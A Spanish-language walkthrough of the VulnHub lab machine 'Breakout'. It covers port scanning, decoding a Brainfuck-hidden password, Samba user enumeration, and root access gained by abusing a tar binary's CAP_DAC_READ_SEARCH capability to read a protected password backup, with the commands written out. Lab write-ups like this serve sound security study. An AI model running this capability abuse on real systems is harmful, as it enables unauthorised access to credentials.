breakout

Máquina de la plataforma vulnhub

empezamos con un escaneo rapido para ver qué puertos tiene abierto y luego refinamos con cada uno

sudo nmap -p80,139,445,10000,20000 -sCV 192.168.57.6 -o scan.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 01:10 EDT
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 01:10 (0:00:07 remaining)
Nmap scan report for 192.168.57.6
Host is up (0.00024s latency).

PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
10000/tcp open  http        MiniServ 1.981 (Webmin httpd)
|_http-server-header: MiniServ/1.981
|_http-title: 200 — Document follows
20000/tcp open  http        MiniServ 1.830 (Webmin httpd)
|_http-server-header: MiniServ/1.830
|_http-title: 200 — Document follows
MAC Address: 08:00:27:CA:18:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
| smb2-time: 
|   date: 2025-08-12T02:10:19
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -3h00m00s
|_nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.51 seconds


probamos y vemos que hay una pagina de autenticación tanto en :10000 como en :20000 , son similares pero con diferentes versiones
Pasted image 20250812021432.png
Intente buscar algo interesante pero no tuve exito por lo que volvi a ver el puerto 80 pero esta vez inspeccionando la página
Pasted image 20250812023556.png

Nos encontramos con una cadena de caracteres que están encriptados, se me dio por copiarlo y pegarlo en el navegador y nos arrojo una pagina interesante que decifra este tipo de cosas
Pasted image 20250814223109.png
Al parecer, según la página dice que "brainfuck" es un lenguaje de programación minimalista que solo usa 8 comandos para manipular la memoria y realizar operaciones.
Toma su nombre de dos palabras "brain" y "fuck" que se refiere a una especie de gran frustración para el cerebro.

Ahora que tenemos una contraseña, nos faltaría un usuario para poder utilizarla.
Como vimos anteriormente en el escaneo con nmap, estaba habilitado el protocolo smb, especificamente la implementación samba de dicho protocolo. Despues de usar algunas herramientas de enumeracion la que nos dio algo util es la tool enum4linux.

Pasted image 20250815000319.png
Ahora que ya tenemos un usuario y una contraseña vamos a intentar iniciar sesión

Pasted image 20250815000659.png
Vemos que podemos acceder a una shell y obtener la primer flag
Pasted image 20250815003917.png
Jugando un poco y curioseando con el binario que vemos en la imagen anterior(tar) pude acceder a la flag directamente sin siquiera haber tenido que elevar los privilegios a root, si bien seguro no debe ser la finalidad de esta maquina estuvo bueno probar
Pasted image 20250815005853.png

Bueno si bien ya estaría , vamos a intentar ganar el acceso a root
vemos que tar es un ejecutable binario con formato elf de 64bits

**file tar**
tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, stripped

vemos si tiene alguna biblioteca compartida que pueda ser vulnerable

**[cyber@breakout ~]$ ldd tar**
	linux-vdso.so.1 (0x00007fffdc3fa000)
	libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fa0e97ec000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fa0e97c0000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa0e95fb000)
	libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fa0e9563000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa0e955d000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fa0e9883000)
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fa0e953b000)

pero no hay indicios de nada. Despues de buscar ayuda por internet, vi algo relacionado con las capabilities(capacidades), lo habia escuchado antes pero no me acordaba

Info

En linux, las capacidades son una forma de dividir los privilegios tradicionalmente asociados con el usuario root en unidades más pequeñas y granulares. En lugar de otorgar acceso completo a todos los recursos del sistema a un proceso, las capacidades permiten asignar permisos especificos para realizar tareas particulares, mejorando la seguridad

Conocía los que es el bit suid que otorga privilegios completos de usuario root a un programa, pero al parecer este metodo es más granular y seguro. Para interactuar con estas funcionalidades existe el comando getcap que permite ver y modificar las capacidades de archivos y procesos

Pasted image 20250818001412.png

Según el comando man nos permite leer un archivo del sistema sin ninguna restricción

       CAP_DAC_READ_SEARCH
              •  Bypass file read permission checks and directory read and ex‐
                 ecute permission checks;
              •  invoke open_by_handle_at(2);
              •  use the linkat(2) AT_EMPTY_PATH flag to create a  link  to  a
                 file referred to by a file descriptor.

Haciendo una enumeracion rapida de archivos para ver si encontraba algo donde aplicar esto, encontre lo siguiente

Pasted image 20250818005834.png
Entonces lo que vamos a hacer es: empaquetar el archivo .bak al directorio actual de trabajo , con esto saltamos los permisosque existiesen gracias a la capabilidad que tiene nuestro binario y luego lo extraemos el archivo pero a diferencia de antes ahora somos los nuevos propietarios del mismo, por lo que podemos leerlo sin drama alguno y asi podemos obtener la contraseña root

**[cyber@breakout ~]$ ./tar -cf test.tar /var/backups/.old_pass.bak**
./tar: Removing leading `/' from member names
**[cyber@breakout ~]$ ls**
tar
test.tar
**[cyber@breakout ~]$ ./tar -xf test.tar**
**[cyber@breakout ~]$ ls**
tar
test.tar
var
**[cyber@breakout ~]$ cd var/backups/**
**[cyber@breakout backups]$ cat .**
./
../
.old_pass.bak
**[cyber@breakout backups]$ cat .old_pass.bak**
Ts&4&YurgtRX(=~h

Cerre sesion en el useradmin y entre al webadmin con la nueva credencial y obtenemos la flag.

**[root@breakout ~]# id**
uid=0(root) gid=0(root) groups=0(root)
**[root@breakout ~]# ls**
rOOt.txt
**[root@breakout ~]# cat rOOt.txt**
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

Author: Icex64 & Empire Cybersecurity